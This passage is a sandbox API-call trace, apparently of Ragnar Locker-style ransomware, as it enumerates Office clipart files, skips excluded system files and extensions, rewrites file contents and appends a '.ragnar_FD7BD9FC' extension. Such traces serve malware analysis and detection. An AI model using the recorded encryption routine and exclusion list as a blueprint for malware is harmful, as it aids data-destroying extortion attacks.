dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.458] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5eae, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5eae, lpOverlapped=0x0) returned 1 [0085.459] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.459] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5eae, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.459] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5eae, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5eae, lpOverlapped=0x0) returned 1 [0085.459] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5eae, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.459] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.460] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5eae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.460] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.460] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.460] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.460] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.460] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.460] GetProcessHeap () returned 0x580000 [0085.460] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.460] CloseHandle (hObject=0xf4) returned 1 [0085.460] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" [0085.460] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF.ragnar_FD7BD9FC" [0085.460] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.461] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x773a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185806.WMF", cAlternateFileName="")) returned 1 [0085.461] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.461] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0185806.WMF" | out: lpString1="J0185806.WMF") returned="J0185806.WMF" [0085.461] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned=".WMF" [0085.461] lstrcmpiW (lpString1="J0185806.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.461] lstrcmpiW (lpString1="J0185806.WMF", lpString2="autorun.inf") returned 1 [0085.461] lstrcmpiW (lpString1="J0185806.WMF", lpString2="boot.ini") returned 1 [0085.461] lstrcmpiW (lpString1="J0185806.WMF", lpString2="bootfont.bin") returned 1 [0085.461] lstrcmpiW (lpString1="J0185806.WMF", lpString2="bootsect.bak") returned 1 [0085.461] lstrcmpiW (lpString1="J0185806.WMF", lpString2="bootmgr") returned 1 [0085.461] lstrcmpiW (lpString1="J0185806.WMF", lpString2="bootmgr.efi") returned 1 [0085.461] lstrcmpiW (lpString1="J0185806.WMF", lpString2="bootmgfw.efi") returned 1 [0085.461] lstrcmpiW (lpString1="J0185806.WMF", lpString2="desktop.ini") returned 1 [0085.461] lstrcmpiW (lpString1="J0185806.WMF", lpString2="iconcache.db") returned 1 [0085.461] lstrcmpiW (lpString1="J0185806.WMF", lpString2="ntldr") returned -1 [0085.461] lstrcmpiW (lpString1="J0185806.WMF", lpString2="ntuser.dat") returned -1 [0085.462] lstrcmpiW (lpString1="J0185806.WMF", lpString2="ntuser.dat.log") returned -1 [0085.462] lstrcmpiW (lpString1="J0185806.WMF", lpString2="ntuser.ini") returned -1 [0085.462] lstrcmpiW (lpString1="J0185806.WMF", lpString2="thumbs.db") returned -1 [0085.462] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.462] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.462] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.462] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.462] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.462] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.462] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.462] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf")) returned 0x20 [0085.462] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.462] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=30522) returned 1 [0085.462] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7731, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.462] GetProcessHeap () returned 0x580000 [0085.462] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.462] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.464] VirtualAlloc (lpAddress=0x0, dwSize=0x773a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.464] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.464] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.464] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x773a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x773a, lpOverlapped=0x0) returned 1 [0085.465] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.465] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x773a, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.466] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x773a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x773a, lpOverlapped=0x0) returned 1 [0085.466] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x773a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.466] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.466] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x773a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.466] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.466] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.466] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.466] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.467] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.467] GetProcessHeap () returned 0x580000 [0085.467] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.467] CloseHandle (hObject=0xf4) returned 1 [0085.467] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" [0085.467] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF.ragnar_FD7BD9FC" [0085.467] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.467] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185818.WMF", cAlternateFileName="")) returned 1 [0085.467] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.467] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0185818.WMF" | out: lpString1="J0185818.WMF") returned="J0185818.WMF" [0085.467] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned=".WMF" [0085.467] lstrcmpiW (lpString1="J0185818.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.467] lstrcmpiW (lpString1="J0185818.WMF", lpString2="autorun.inf") returned 1 [0085.468] lstrcmpiW (lpString1="J0185818.WMF", lpString2="boot.ini") returned 1 [0085.468] lstrcmpiW (lpString1="J0185818.WMF", lpString2="bootfont.bin") returned 1 [0085.468] lstrcmpiW (lpString1="J0185818.WMF", lpString2="bootsect.bak") returned 1 [0085.468] lstrcmpiW (lpString1="J0185818.WMF", lpString2="bootmgr") returned 1 [0085.468] lstrcmpiW (lpString1="J0185818.WMF", lpString2="bootmgr.efi") returned 1 [0085.468] lstrcmpiW (lpString1="J0185818.WMF", lpString2="bootmgfw.efi") returned 1 [0085.468] lstrcmpiW (lpString1="J0185818.WMF", lpString2="desktop.ini") returned 1 [0085.468] lstrcmpiW (lpString1="J0185818.WMF", lpString2="iconcache.db") returned 1 [0085.468] lstrcmpiW (lpString1="J0185818.WMF", lpString2="ntldr") returned -1 [0085.468] lstrcmpiW (lpString1="J0185818.WMF", lpString2="ntuser.dat") returned -1 [0085.468] lstrcmpiW (lpString1="J0185818.WMF", lpString2="ntuser.dat.log") returned -1 [0085.468] lstrcmpiW (lpString1="J0185818.WMF", lpString2="ntuser.ini") returned -1 [0085.468] lstrcmpiW (lpString1="J0185818.WMF", lpString2="thumbs.db") returned -1 [0085.468] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.468] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.468] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.468] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.468] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.468] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.468] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.468] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf")) returned 0x20 [0085.468] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.468] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=35726) returned 1 [0085.468] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8b85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.469] GetProcessHeap () returned 0x580000 [0085.469] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.469] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.470] VirtualAlloc (lpAddress=0x0, dwSize=0x8b8e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.470] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.470] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.470] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8b8e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8b8e, lpOverlapped=0x0) returned 1 [0085.472] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.472] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8b8e, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.472] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8b8e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8b8e, lpOverlapped=0x0) returned 1 [0085.472] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8b8e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.472] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.473] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8b8e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.473] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.473] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.473] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.473] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.473] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.473] GetProcessHeap () returned 0x580000 [0085.473] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.473] CloseHandle (hObject=0xf4) returned 1 [0085.473] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" [0085.473] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF.ragnar_FD7BD9FC" [0085.473] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.475] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185828.WMF", cAlternateFileName="")) returned 1 [0085.475] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.475] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0185828.WMF" | out: lpString1="J0185828.WMF") returned="J0185828.WMF" [0085.475] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned=".WMF" [0085.475] lstrcmpiW (lpString1="J0185828.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.475] lstrcmpiW (lpString1="J0185828.WMF", lpString2="autorun.inf") returned 1 [0085.475] lstrcmpiW (lpString1="J0185828.WMF", lpString2="boot.ini") returned 1 [0085.475] lstrcmpiW (lpString1="J0185828.WMF", lpString2="bootfont.bin") returned 1 [0085.475] lstrcmpiW (lpString1="J0185828.WMF", lpString2="bootsect.bak") returned 1 [0085.475] lstrcmpiW (lpString1="J0185828.WMF", lpString2="bootmgr") returned 1 [0085.475] lstrcmpiW (lpString1="J0185828.WMF", lpString2="bootmgr.efi") returned 1 [0085.475] lstrcmpiW (lpString1="J0185828.WMF", lpString2="bootmgfw.efi") returned 1 [0085.475] lstrcmpiW (lpString1="J0185828.WMF", lpString2="desktop.ini") returned 1 [0085.475] lstrcmpiW (lpString1="J0185828.WMF", lpString2="iconcache.db") returned 1 [0085.475] lstrcmpiW (lpString1="J0185828.WMF", lpString2="ntldr") returned -1 [0085.475] lstrcmpiW (lpString1="J0185828.WMF", lpString2="ntuser.dat") returned -1 [0085.475] lstrcmpiW (lpString1="J0185828.WMF", lpString2="ntuser.dat.log") returned -1 [0085.475] lstrcmpiW (lpString1="J0185828.WMF", lpString2="ntuser.ini") returned -1 [0085.475] lstrcmpiW (lpString1="J0185828.WMF", lpString2="thumbs.db") returned -1 [0085.475] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.475] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.475] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.475] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.475] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.475] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.475] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf")) returned 0x20 [0085.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.476] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7796) returned 1 [0085.476] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1e6b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.476] GetProcessHeap () returned 0x580000 [0085.476] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.476] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.477] VirtualAlloc (lpAddress=0x0, dwSize=0x1e74, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.478] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.478] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.478] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1e74, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1e74, lpOverlapped=0x0) returned 1 [0085.479] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.479] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e74, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.479] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1e74, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1e74, lpOverlapped=0x0) returned 1 [0085.479] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, 